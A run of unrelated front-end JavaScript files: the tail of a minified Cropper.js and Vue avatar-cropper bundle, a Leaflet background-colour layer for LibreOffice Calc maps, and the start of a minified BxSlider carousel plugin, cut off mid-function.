e.ready&&e.cropped?(p={x:i.left-a.left,y:i.top-a.top,width:i.width,height:i.height},n=r.width/r.naturalWidth,s(p,function(e,o){e/=n,p[o]=t?Math.round(e):e})):p={x:0,y:0,width:0,height:0},o.rotatable&&(p.rotate=r.rotate||0),o.scalable&&(p.scaleX=r.scaleX||1,p.scaleY=r.scaleY||1),p},setData:function(t){var o=this,r=o.options,n=o.imageData,p=o.canvasData,s={},c=void 0,l=void 0,h=void 0;return i(t)&&(t=t.call(o.element)),o.ready&&!o.disabled&&a(t)&&(r.rotatable&&e(t.rotate)&&t.rotate!==n.rotate&&(n.rotate=t.rotate,c=!0,o.rotated=c),r.scalable&&(e(t.scaleX)&&t.scaleX!==n.scaleX&&(n.scaleX=t.scaleX,l=!0),e(t.scaleY)&&t.scaleY!==n.scaleY&&(n.scaleY=t.scaleY,l=!0)),c?o.renderCanvas():l&&o.renderImage(),h=n.width/n.naturalWidth,e(t.x)&&(s.left=t.x*h+p.left),e(t.y)&&(s.top=t.y*h+p.top),e(t.width)&&(s.width=t.width*h),e(t.height)&&(s.height=t.height*h),o.setCropBoxData(s)),o},getContainerData:function(){return this.ready?this.containerData:{}},getImageData:function(){return this.loaded?this.imageData:{}},getCanvasData:function(){var t=this.canvasData,e={};return this.ready&&s(["left","top","width","height","naturalWidth","naturalHeight"],function(o){e[o]=t[o]}),e},setCanvasData:function(t){var o=this,r=o.canvasData,n=r.aspectRatio;return i(t)&&(t=t.call(o.element)),o.ready&&!o.disabled&&a(t)&&(e(t.left)&&(r.left=t.left),e(t.top)&&(r.top=t.top),e(t.width)?(r.width=t.width,r.height=t.width/n):e(t.height)&&(r.height=t.height,r.width=t.height*n),o.renderCanvas(!0)),o},getCropBoxData:function(){var t=this,e=t.cropBoxData,o=void 0;return t.ready&&t.cropped&&(o={left:e.left,top:e.top,width:e.width,height:e.height}),o||{}},setCropBoxData:function(t){var o=this,r=o.cropBoxData,n=o.options.aspectRatio,p=void 0,s=void 0;return i(t)&&(t=t.call(o.element)),o.ready&&o.cropped&&!o.disabled&&a(t)&&(e(t.left)&&(r.left=t.left),e(t.top)&&(r.top=t.top),e(t.width)&&t.width!==r.width&&(p=!0,r.width=t.width),e(t.height)&&t.height!==r.height&&(s=!0,r.height=t.height),n&&(p?r.height=r.width/n:s&&(r.width=r.height*n)),o.renderCropBox()),o},getCroppedCanvas:function(t){var e=this;if(!e.ready||!window.HTMLCanvasElement)return null;if(a(t)||(t={}),!e.cropped)return R(e.image,e.imageData,t);var o=e.getData(),r=o.width,i=o.height,n=r/i,p=void 0,s=void 0,c=void 0;a(t)&&(p=t.width,s=t.height,p?(s=p/n,c=p/r):s&&(p=s*n,c=s/i));var l=Math.floor(p||r),h=Math.floor(s||i),d=A("canvas"),u=d.getContext("2d");d.width=l,d.height=h,t.fillColor&&(u.fillStyle=t.fillColor,u.fillRect(0,0,l,h));var f=function(){var a=R(e.image,e.imageData,t),n=a.width,p=a.height,s=e.canvasData,l=[a],h=o.x+s.naturalWidth*(Math.abs(o.scaleX||1)-1)/2,d=o.y+s.naturalHeight*(Math.abs(o.scaleY||1)-1)/2,u=void 0,f=void 0,m=void 0,g=void 0,v=void 0,b=void 0;return h<=-r||h>n?(h=0,u=0,m=0,v=0):h<=0?(m=-h,h=0,u=Math.min(n,r+h),v=u):h<=n&&(m=0,u=Math.min(r,n-h),v=u),u<=0||d<=-i||d>p?(d=0,f=0,g=0,b=0):d<=0?(g=-d,d=0,f=Math.min(p,i+d),b=f):d<=p&&(g=0,f=Math.min(i,p-d),b=f),l.push(Math.floor(h),Math.floor(d),Math.floor(u),Math.floor(f)),c&&(m*=c,g*=c,v*=c,b*=c),v>0&&b>0&&l.push(Math.floor(m),Math.floor(g),Math.floor(v),Math.floor(b)),l}();return u.imageSmoothingEnabled=!!t.imageSmoothingEnabled,t.imageSmoothingQuality&&(u.imageSmoothingQuality=t.imageSmoothingQuality),u.drawImage.apply(u,function(t){if(Array.isArray(t)){for(var e=0,o=Array(t.length);e<t.length;e++)o[e]=t[e];return o}return Array.from(t)}(f)),d},setAspectRatio:function(t){var e=this,r=e.options;return e.disabled||o(t)||(r.aspectRatio=Math.max(0,t)||NaN,e.ready&&(e.initCropBox(),e.cropped&&e.renderCropBox())),e},setDragMode:function(t){var e=this,o=e.options,r=e.dragBox,a=e.face,i=void 0,n=void 0;return e.loaded&&!e.disabled&&(i="crop"===t,n=o.movable&&"move"===t,v(r,"action",t=i||n?t:"none"),f(r,"cropper-crop",i),f(r,"cropper-move",n),o.cropBoxMovable||(v(a,"action",t),f(a,"cropper-crop",i),f(a,"cropper-move",n))),e}},ct=function(){function t(t,e){for(var o=0;o<e.length;o++){var r=e[o];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,o,r){return o&&t(e.prototype,o),r&&t(e,r),e}}(),lt=/^data:/,ht=/^data:image\/jpeg;base64,/,dt=void 0,ut=function(){function t(e,o){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t);var r=this;r.element=e,r.options=c({},W,a(o)&&o),r.loaded=!1,r.ready=!1,r.complete=!1,r.rotated=!1,r.cropped=!1,r.disabled=!1,r.replaced=!1,r.limited=!1,r.wheeling=!1,r.isImg=!1,r.originalUrl="",r.canvasData=null,r.cropBoxData=null,r.previews=null,r.pointers={},r.init()}return ct(t,[{key:"init",value:function(){var t=this,e=t.element,o=e.tagName.toLowerCase(),r=void 0;if(!g(e,"cropper")){if(v(e,"cropper",t),"img"===o){if(t.isImg=!0,r=e.getAttribute("src"),t.originalUrl=r,!r)return;r=e.src}else"canvas"===o&&window.HTMLCanvasElement&&(r=e.toDataURL());t.load(r)}}},{key:"load",value:function(t){var e=this,o=e.options,r=e.element;if(t){if(e.url=t,e.imageData={},!o.checkOrientation||!window.ArrayBuffer)return void e.clone();if(lt.test(t))return void(ht.test(t)?e.read(function(t){var e=t.replace(X,""),o=atob(e),r=o.length,a=new ArrayBuffer(r),i=new Uint8Array(a),n=void 0;for(n=0;n<r;n+=1)i[n]=o.charCodeAt(n);return a}(t)):e.clone());var a=new XMLHttpRequest;a.onerror=function(){e.clone()},a.onload=function(){e.read(a.response)},o.checkCrossOrigin&&O(t)&&r.crossOrigin&&(t=E(t)),a.open("get",t),a.responseType="arraybuffer",a.withCredentials="use-credentials"===r.crossOrigin,a.send()}}},{key:"read",value:function(t){var e=this,o=e.options,r=N(t),a=e.imageData,i=0,n=1,p=1;if(r>1)switch(e.url=function(t){var e=new Uint8Array(t),o=e.length,r="",a=void 0;for(a=0;a<o;a+=1)r+=Z(e[a]);return"data:image/jpeg;base64,"+btoa(r)}(t),r){case 2:n=-1;break;case 3:i=-180;break;case 4:p=-1;break;case 5:i=90,p=-1;break;case 6:i=90;break;case 7:i=90,n=-1;break;case 8:i=-90}o.rotatable&&(a.rotate=i),o.scalable&&(a.scaleX=n,a.scaleY=p),e.clone()}},{key:"clone",value:function(){var t=this,e=t.element,o=t.url,r=void 0,a=void 0;t.options.checkCrossOrigin&&O(o)&&((r=e.crossOrigin)?a=o:(r="anonymous",a=E(o))),t.crossOrigin=r,t.crossOriginUrl=a;var i=A("img");r&&(i.crossOrigin=r),i.src=a||o;var n=l(t.start,t),p=l(t.stop,t);t.image=i,t.onStart=n,t.onStop=p,t.isImg?e.complete?t.start():x(e,"load",n):(x(i,"load",n),x(i,"error",p),d(i,"cropper-hide"),e.parentNode.insertBefore(i,e.nextSibling))}},{key:"start",value:function(t){var e=this,o=e.isImg?e.element:e.image;t&&(w(o,"load",e.onStart),w(o,"error",e.onStop)),function(t,e){if(!t.naturalWidth||Q){var o=A("img");o.onload=function(){e(this.width,this.height)},o.src=t.src}else e(t.naturalWidth,t.naturalHeight)}(o,function(t,o){c(e.imageData,{naturalWidth:t,naturalHeight:o,aspectRatio:t/o}),e.loaded=!0,e.build()})}},{key:"stop",value:function(){var t=this,e=t.image;w(e,"load",t.onStart),w(e,"error",t.onStop),T(e),t.image=null}},{key:"build",value:function(){var t=this,e=t.options,o=t.element,r=t.image;if(t.loaded){t.ready&&t.unbuild();var a=o.parentNode,n=A("div");n.innerHTML='<div class="cropper-container"><div class="cropper-wrap-box"><div class="cropper-canvas"></div></div><div class="cropper-drag-box"></div><div class="cropper-crop-box"><span class="cropper-view-box"></span><span class="cropper-dashed dashed-h"></span><span class="cropper-dashed dashed-v"></span><span class="cropper-center"></span><span class="cropper-face"></span><span class="cropper-line line-e" data-action="e"></span><span class="cropper-line line-n" data-action="n"></span><span class="cropper-line line-w" data-action="w"></span><span class="cropper-line line-s" data-action="s"></span><span class="cropper-point point-e" data-action="e"></span><span class="cropper-point point-n" data-action="n"></span><span class="cropper-point point-w" data-action="w"></span><span class="cropper-point point-s" data-action="s"></span><span class="cropper-point point-ne" data-action="ne"></span><span class="cropper-point point-nw" data-action="nw"></span><span class="cropper-point point-sw" data-action="sw"></span><span class="cropper-point point-se" data-action="se"></span></div></div>';var p=k(n,"cropper-container")[0],s=k(p,"cropper-canvas")[0],c=k(p,"cropper-drag-box")[0],l=k(p,"cropper-crop-box")[0],h=k(l,"cropper-face")[0];t.container=a,t.cropper=p,t.canvas=s,t.dragBox=c,t.cropBox=l,t.viewBox=k(p,"cropper-view-box")[0],t.face=h,B(s,r),d(o,"cropper-hidden"),a.insertBefore(p,o.nextSibling),t.isImg||u(r,"cropper-hide"),t.initPreview(),t.bind(),e.aspectRatio=Math.max(0,e.aspectRatio)||NaN,e.viewMode=Math.max(0,Math.min(3,Math.round(e.viewMode)))||0,t.cropped=e.autoCrop,e.autoCrop?e.modal&&d(c,"cropper-modal"):d(l,"cropper-hidden"),e.guides||d(k(l,"cropper-dashed"),"cropper-hidden"),e.center||d(k(l,"cropper-center"),"cropper-hidden"),e.background&&d(p,"cropper-bg"),e.highlight||d(h,"cropper-invisible"),e.cropBoxMovable&&(d(h,"cropper-move"),v(h,"action","all")),e.cropBoxResizable||(d(k(l,"cropper-line"),"cropper-hidden"),d(k(l,"cropper-point"),"cropper-hidden")),t.setDragMode(e.dragMode),t.render(),t.ready=!0,t.setData(e.data),t.completing=setTimeout(function(){i(e.ready)&&x(o,"ready",e.ready,!0),y(o,"ready"),y(o,"crop",t.getData()),t.complete=!0},0)}}},{key:"unbuild",value:function(){var t=this;t.ready&&(t.complete||clearTimeout(t.completing),t.ready=!1,t.complete=!1,t.initialImageData=null,t.initialCanvasData=null,t.initialCropBoxData=null,t.containerData=null,t.canvasData=null,t.cropBoxData=null,t.unbind(),t.resetPreview(),t.previews=null,t.viewBox=null,t.cropBox=null,t.dragBox=null,t.canvas=null,t.container=null,T(t.cropper),t.cropper=null)}}],[{key:"noConflict",value:function(){return window.Cropper=dt,t}},{key:"setDefaults",value:function(t){c(W,a(t)&&t)}}]),t}();return c(ut.prototype,G),c(ut.prototype,K),c(ut.prototype,at),c(ut.prototype,nt),c(ut.prototype,pt),c(ut.prototype,st),"undefined"!=typeof window&&(dt=window.Cropper,window.Cropper=ut),ut}()},function(t,e,o){(t.exports=o(0)()).push([t.i,'/*!\n * Cropper.js v1.0.0\n * https://github.com/fengyuanchen/cropperjs\n *\n * Copyright (c) 2017 Fengyuan Chen\n * Released under the MIT license\n *\n * Date: 2017-09-03T12:52:44.102Z\n */.cropper-container{direction:ltr;font-size:0;line-height:0;position:relative;-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.cropper-container img{display:block;height:100%;image-orientation:0deg;max-height:none!important;max-width:none!important;min-height:0!important;min-width:0!important;width:100%}.cropper-canvas,.cropper-crop-box,.cropper-drag-box,.cropper-modal,.cropper-wrap-box{bottom:0;left:0;position:absolute;right:0;top:0}.cropper-wrap-box{overflow:hidden}.cropper-drag-box{background-color:#fff;opacity:0}.cropper-modal{background-color:#000;opacity:.5}.cropper-view-box{display:block;height:100%;outline-color:rgba(51,153,255,.75);outline:1px solid #39f;overflow:hidden;width:100%}.cropper-dashed{border:0 dashed #eee;display:block;opacity:.5;position:absolute}.cropper-dashed.dashed-h{border-bottom-width:1px;border-top-width:1px;height:33.33333%;left:0;top:33.33333%;width:100%}.cropper-dashed.dashed-v{border-left-width:1px;border-right-width:1px;height:100%;left:33.33333%;top:0;width:33.33333%}.cropper-center{display:block;height:0;left:50%;opacity:.75;position:absolute;top:50%;width:0}.cropper-center:after,.cropper-center:before{background-color:#eee;content:" ";display:block;position:absolute}.cropper-center:before{height:1px;left:-3px;top:0;width:7px}.cropper-center:after{height:7px;left:0;top:-3px;width:1px}.cropper-face,.cropper-line,.cropper-point{display:block;height:100%;opacity:.1;position:absolute;width:100%}.cropper-face{background-color:#fff;left:0;top:0}.cropper-line{background-color:#39f}.cropper-line.line-e{cursor:e-resize;right:-3px;top:0;width:5px}.cropper-line.line-n{cursor:n-resize;height:5px;left:0;top:-3px}.cropper-line.line-w{cursor:w-resize;left:-3px;top:0;width:5px}.cropper-line.line-s{bottom:-3px;cursor:s-resize;height:5px;left:0}.cropper-point{background-color:#39f;height:5px;opacity:.75;width:5px}.cropper-point.point-e{cursor:e-resize;margin-top:-3px;right:-3px;top:50%}.cropper-point.point-n{cursor:n-resize;left:50%;margin-left:-3px;top:-3px}.cropper-point.point-w{cursor:w-resize;left:-3px;margin-top:-3px;top:50%}.cropper-point.point-s{bottom:-3px;cursor:s-resize;left:50%;margin-left:-3px}.cropper-point.point-ne{cursor:ne-resize;right:-3px;top:-3px}.cropper-point.point-nw{cursor:nw-resize;left:-3px;top:-3px}.cropper-point.point-sw{bottom:-3px;cursor:sw-resize;left:-3px}.cropper-point.point-se{bottom:-3px;cursor:se-resize;height:20px;opacity:1;right:-3px;width:20px}@media (min-width:768px){.cropper-point.point-se{height:15px;width:15px}}@media (min-width:992px){.cropper-point.point-se{height:10px;width:10px}}@media (min-width:1200px){.cropper-point.point-se{height:5px;opacity:.75;width:5px}}.cropper-point.point-se:before{background-color:#39f;bottom:-50%;content:" ";display:block;height:200%;opacity:0;position:absolute;right:-50%;width:200%}.cropper-invisible{opacity:0}.cropper-bg{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA3NCSVQICAjb4U/gAAAABlBMVEXMzMz////TjRV2AAAACXBIWXMAAArrAAAK6wGCiw1aAAAAHHRFWHRTb2Z0d2FyZQBBZG9iZSBGaXJld29ya3MgQ1M26LyyjAAAABFJREFUCJlj+M/AgBVhF/0PAH6/D/HkDxOGAAAAAElFTkSuQmCC")}.cropper-hide{display:block;height:0;position:absolute;width:0}.cropper-hidden{display:none!important}.cropper-move{cursor:move}.cropper-crop{cursor:crosshair}.cropper-disabled .cropper-drag-box,.cropper-disabled .cropper-face,.cropper-disabled .cropper-line,.cropper-disabled .cropper-point{cursor:not-allowed}',""])},function(t,e,o){(t.exports=o(0)()).push([t.i,".avatar-cropper .avatar-cropper-overlay{text-align:center;display:flex;align-items:center;justify-content:center;position:fixed;top:0;left:0;right:0;bottom:0;z-index:99999}.avatar-cropper .avatar-cropper-img-input{display:none}.avatar-cropper .avatar-cropper-close{float:right;padding:20px;font-size:3rem;color:#fff;font-weight:100;text-shadow:0 1px rgba(40,40,40,.3)}.avatar-cropper .avatar-cropper-mark{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.1)}.avatar-cropper .avatar-cropper-container{background:#fff;z-index:999;box-shadow:1px 1px 5px hsla(0,0%,39%,.14)}.avatar-cropper .avatar-cropper-container .avatar-cropper-image-container{position:relative;max-width:400px;height:300px}.avatar-cropper .avatar-cropper-container img{max-width:100%;height:100%}.avatar-cropper .avatar-cropper-container .avatar-cropper-footer{display:flex;align-items:stretch;align-content:stretch;justify-content:space-between}.avatar-cropper .avatar-cropper-container .avatar-cropper-footer .avatar-cropper-btn{width:50%;padding:15px 0;cursor:pointer;border:none;background:transparent;outline:none}.avatar-cropper .avatar-cropper-container .avatar-cropper-footer .avatar-cropper-btn:hover{background-color:#2aabd2;color:#fff}",""])},function(t,e){t.exports=function(t){var e="undefined"!=typeof window&&window.location;if(!e)throw new Error("fixUrls requires window.location");if(!t||"string"!=typeof t)return t;var o=e.protocol+"//"+e.host,r=o+e.pathname.replace(/\/[^\/]*$/,"/");return t.replace(/url\s*\(((?:[^)(]|\((?:[^)(]+|\([^)(]*\))*\))*)\)/gi,function(t,e){var a,i=e.trim().replace(/^"(.*)"$/,function(t,e){return e}).replace(/^'(.*)'$/,function(t,e){return e});return/^(#|data:|http:\/\/|https:\/\/|file:\/\/\/)/i.test(i)?t:(a=0===i.indexOf("//")?i:0===i.indexOf("/")?o+i:r+i.replace(/^\.\//,""),"url("+JSON.stringify(a)+")")})}},function(t,e,o){var r=o(6);"string"==typeof r&&(r=[[t.i,r,""]]),o(1)(r,{}),r.locals&&(t.exports=r.locals)},function(t,e,o){var r=o(7);"string"==typeof r&&(r=[[t.i,r,""]]),o(1)(r,{}),r.locals&&(t.exports=r.locals)},function(t,e){t.exports=function(t,e,o,r){var a,i=t=t||{},n=typeof t.default;"object"!==n&&"function"!==n||(a=t,i=t.default);var p="function"==typeof i?i.options:i;if(e&&(p.render=e.render,p.staticRenderFns=e.staticRenderFns),o&&(p._scopeId=o),r){var s=Object.create(p.computed||null);Object.keys(r).forEach(function(t){var e=r[t];s[t]=function(){return e}}),p.computed=s}return{esModule:a,exports:i,options:p}}},function(t,e){t.exports={render:function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"avatar-cropper"},[t.dataUrl?o("div",{staticClass:"avatar-cropper-overlay"},[o("div",{staticClass:"avatar-cropper-mark"},[o("a",{staticClass:"avatar-cropper-close",attrs:{href:"javascript:;"},on:{click:t.destroy}},[t._v("×")])]),t._v(" "),o("div",{staticClass:"avatar-cropper-container"},[o("div",{staticClass:"avatar-cropper-image-container"},[o("img",{ref:"img",attrs:{src:t.dataUrl,alt:""},on:{load:function(e){e.stopPropagation(),t.createCropper(e)}}})]),t._v(" "),o("div",{staticClass:"avatar-cropper-footer"},[o("button",{staticClass:"avatar-cropper-btn",domProps:{textContent:t._s(t.labels.cancel)},on:{click:t.destroy}},[t._v("Cancel")]),t._v(" "),o("button",{staticClass:"avatar-cropper-btn",domProps:{textContent:t._s(t.labels.submit)},on:{click:t.submit}},[t._v("Submit")])])])]):t._e(),t._v(" "),o("input",{ref:"input",staticClass:"avatar-cropper-img-input",attrs:{type:"file",accept:t.mimes}})])},staticRenderFns:[]}}])}}]);
/* * A Leaflet layer that just sets the background colour of the map. * * This just changes the map container's style, and does not * implement pane positioning - adding two instances of this * layer to a map at a time will conflict. */ L.BackgroundColor = L.Layer.extend({ options: { /* * The background color that the map shall take when this layer is * added to it. Must be a string containing a CSS color value, as per * https://developer.mozilla.org/en-US/docs/Web/CSS/color_value * * The default is Leaflet's default grey. */ color: '#dfdfdf' }, onAdd: function() { return this.setColor(this.options.color); }, remove: function() { delete this._map.style.background; }, /* * Expects a CSS color value. Sets the map background to that color, and * resets the 'color' option of this layer. */ setColor: function(cssColor) { this.options.color = cssColor; if (this._map) { this._map.getContainer().style.background = cssColor; } return this; } }); // LibreOffice-specific functionality follows. /* * A L.BackgroundColor that automatically resets its color * based on 'statechange' messages from coolwsd. */ L.CalcBackground = L.BackgroundColor.extend({ onAdd: function(map) { map.on('commandstatechanged', this._onStateChanged, this); return this.setColor(this.options.color); }, remove: function() { delete this._map.style.background; this._map.off('commandstatechanged', this._onStateChanged, this); }, // State flag for the heuristic algorithm used in _onStateChanged _bgCanBeSet: true, _onStateChanged: function(ev) { // There are lots of statechange events - but there is no indication of what the // background color of a Calc sheet is. In order to discern the background color // there is a heuristic method which uses three statechange events: BackgroundColor, // RowColSelCount and StatusPosDoc. // A BackgroundColor statechange will be regarded as a change of background // color only if: // - There has been no previous RowColSelCount statechange (first load), // - There has been a StatusPosDoc (sheet change) before the last RowColSelCount, // - The last RowColSelCount affected all the sheet (re-applying color). if (ev.commandName === '.uno:StatusDocPos') { this._bgCanBeSet = true; return; } if (ev.commandName === '.uno:RowColSelCount') { this._bgCanBeSet = ev.state === '1048576 rows, 1024 columns selected'; return; } if (ev.commandName !== '.uno:BackgroundColor') { return; } // Given an integer coming from a websocket message from UNO, // calculate a '#RRGGBB' string for the corresponding CSS color // Special value: -1 means 'no fill' which translates to white background in Calc var color; if (ev.state === '-1') { color = 'white'; } else { color = '#' + parseInt(ev.state) .toString(16) .padStart(6, '0'); } this.setColor(color); } });
/** * BxSlider v4.0 - Fully loaded, responsive content slider * * Copyright 2015 */ jQuery(document).ready(function () { jQuery('.bxslider').bxSlider({ mode: 'horizontal', slideMargin: 3, auto:true }); }); (function(t){var e={},n={mode:"horizontal",slideSelector:"",infiniteLoop:!0,hideControlOnEnd:!1,speed:1000,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:1000,touchEnabled:!0,swipeThreshold:50,video:!1,useCSS:!0,pager:!0,pagerType:"full",pagerShortSeparator:" / ",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:"Next",prevText:"Prev",nextSelector:null,prevSelector:null,autoControls:!1,startText:"Start",stopText:"Stop",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:"next",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){}};t.fn.bxSlider=function(s){if(this.length!=0){if(this.length>1)return this.each(function(){t(this).bxSlider(s)}),this;var o={},r=this;e.el=this;var a=function(){o.settings=t.extend({},n,s),o.children=r.children(o.settings.slideSelector),o.settings.randomStart&&(o.settings.startSlide=Math.floor(Math.random()*o.children.length)),o.active={index:o.settings.startSlide},o.carousel=o.settings.minSlides>1||o.settings.maxSlides>1,o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.animProp=o.settings.mode=="vertical"?"top":"left",o.usingCSS=o.settings.useCSS&&o.settings.mode!="fade"&&function(){var t=document.createElement("div"),e=["WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var i in e)if(t.style[e[i]]!==void 0)return o.cssPrefix=e[i].replace("Perspective","").toLowerCase(),o.animProp="-"+o.cssPrefix+"-transform",!0;return!1}(),o.settings.mode=="vertical"&&(o.settings.maxSlides=o.settings.minSlides),l()},l=function(){if(r.wrap('<div class="bx-wrapper"><div class="bx-viewport"></div></div>'),o.viewport=r.parent(),o.loader=t('<div class="bx-loading" />'),o.viewport.prepend(o.loader),r.css({width:o.settings.mode=="horizontal"?o.children.length*215+"%":"auto",position:"relative"}),o.usingCSS&&o.settings.easing?r.css("-"+o.cssPrefix+"-transition-timing-function",o.settings.easing):o.settings.easing||(o.settings.easing="swing"),o.viewport.css({width:"100%",overflow:"hidden",position:"relative"}),o.children.css({"float":o.settings.mode=="horizontal"?"left":"none",listStyle:"none"}),o.children.width(c()),o.settings.mode=="horizontal"&&o.settings.slideMargin>0&&o.children.css("marginRight",o.settings.slideMargin),o.settings.mode=="vertical"&&o.settings.slideMargin>0&&o.children.css("marginBottom",o.settings.slideMargin),o.settings.mode=="fade"&&(o.children.css({position:"absolute",zIndex:0,display:"none"}),o.children.eq(o.settings.startSlide).css({zIndex:50,display:"block"})),o.controls.el=t('<div class="bx-controls" />'),o.settings.captions&&b(),o.settings.infiniteLoop&&o.settings.mode!="fade"&&!o.settings.ticker){var e=o.settings.mode=="vertical"?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass("bx-clone"),n=o.children.slice(-e).clone().addClass("bx-clone");r.append(i).prepend(n)}o.active.last=o.settings.startSlide==h()-1,o.settings.video&&r.fitVids(),o.settings.ticker||(o.settings.pager&&x(),o.settings.controls&&m(),o.settings.auto&&o.settings.autoControls&&S(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),r.children().imagesLoaded(function(){o.loader.remove(),p(),o.settings.mode=="vertical"&&(o.settings.adaptiveHeight=!0),o.viewport.height(d()),o.settings.onSliderLoad(o.active.index),o.settings.auto&&o.settings.autoStart&&z(),o.settings.ticker&&q(),o.settings.pager&&A(o.settings.startSlide),o.settings.controls&&M(),o.settings.touchEnabled&&!o.settings.ticker&&D()})},d=function(){var e=0,n=t();if(o.settings.mode=="vertical"||o.settings.adaptiveHeight)if(o.carousel){var s=o.settings.moveSlides==1?o.active.index:o.active.index*u();for(n=o.children.eq(s),i=1;o.settings.maxSlides-1>=i;i++)n=s+i>=o.children.length?n.add(o.children.eq(i-1)):n.add(o.children.eq(s+i))}else n=o.children.eq(o.active.index);else n=o.children;return o.settings.mode=="vertical"?(n.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,n.map(function(){return t(this).outerHeight(!1)}).get()),e},c=function(){var t=o.settings.slideWidth,e=o.viewport.width();return o.settings.slideWidth==0?t=e:e>o.maxThreshold?t=(e-o.settings.slideMargin*(o.settings.maxSlides-1))/o.settings.maxSlides:o.minThreshold>e&&(t=(e-o.settings.slideMargin*(o.settings.minSlides-1))/o.settings.minSlides),t},g=function(){var t=1;if(o.settings.mode=="horizontal")if(o.minThreshold>o.viewport.width())t=o.settings.minSlides;else if(o.viewport.width()>o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else o.settings.mode=="vertical"&&(t=o.settings.minSlides);return t},h=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/u();else{var e=0,i=0;while(o.children.length>e)++t,e=i+g(),i+=g()>=o.settings.moveSlides?o.settings.moveSlides:g()}else t=Math.ceil(o.children.length/g());return t},u=function(){return o.settings.moveSlides>0&&g()>=o.settings.moveSlides?o.settings.moveSlides:g()},p=function(){if(o.active.last){if(o.settings.mode=="horizontal"){var t=o.children.last(),e=t.position();v(-(e.left-(o.viewport.width()-t.width())),"reset",0)}else if(o.settings.mode=="vertical"){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();v(-e.top,"reset",0)}}else{var e=o.children.eq(o.active.index*u()).position();o.active.index==h()-1&&(o.active.last=!0),e!=void 0&&(o.settings.mode=="horizontal"?v(-e.left,"reset",0):o.settings.mode=="vertical"&&v(-e.top,"reset",0))}},v=function(t,e,i,n){if(o.usingCSS){var s=o.settings.mode=="vertical"?"translate3d(0, "+t+"px, 0)":"translate3d("+t+"px, 0, 0)";r.css("-"+o.cssPrefix+"-transition-duration",i/1e3+"s"),e=="slide"?(r.css(o.animProp,s),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),k()})):e=="reset"?r.css(o.animProp,s):e=="ticker"&&(r.css("-"+o.cssPrefix+"-transition-timing-function","linear"),r.css(o.animProp,s),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),v(n.resetValue,"reset",0),L()}))}else{var a={};a[o.animProp]=t,e=="slide"?r.animate(a,i,o.settings.easing,function(){k()}):e=="reset"?r.css(o.animProp,t):e=="ticker"&&r.animate(a,speed,"linear",function(){v(n.resetValue,"reset",0),L()})}},f=function(){var e="";pagerQty=h();for(var i=0;pagerQty>i;i++){var n="";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(i),o.pagerEl.addClass("bx-custom-pager")):(n=i+1,o.pagerEl.addClass("bx-default-pager")),e+='<div class="bx-pager-item"><a href="" data-slide-index="'+i+'" class="bx-pager-link">'+n+"</a></div>"}o.pagerEl.html(e)},x=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t('<div class="bx-pager" />'),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass("bx-has-pager").append(o.pagerEl),f()),o.pagerEl.delegate("a","click",P)},m=function(){o.controls.next=t('<a class="bx-next" href="">'+o.settings.nextText+"</a>"),o.controls.prev=t('<a class="bx-prev" href="">'+o.settings.prevText+"</a>"),o.controls.next.bind("click",w),o.controls.prev.bind("click",T),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('<div class="bx-controls-direction" />'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass("bx-has-controls-direction").append(o.controls.directionEl))},S=function(){o.controls.start=t('<div class="bx-controls-auto-item"><a class="bx-start" href="">'+o.settings.startText+"</a></div>"),o.controls.stop=t('<div class="bx-controls-auto-item"><a class="bx-stop" href="">'+o.settings.stopText+"</a></div>"),o.controls.autoEl=t('<div class="bx-controls-auto" />'),o.controls.autoEl.delegate(".bx-start","click",C),o.controls.autoEl.delegate(".bx-stop","click",E),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass("bx-has-controls-auto").append(o.controls.autoEl),y(o.settings.autoStart?"stop":"start")},b=function(){o.children.each(function(){var e=t(this).find("img:first").attr("title");e!=void 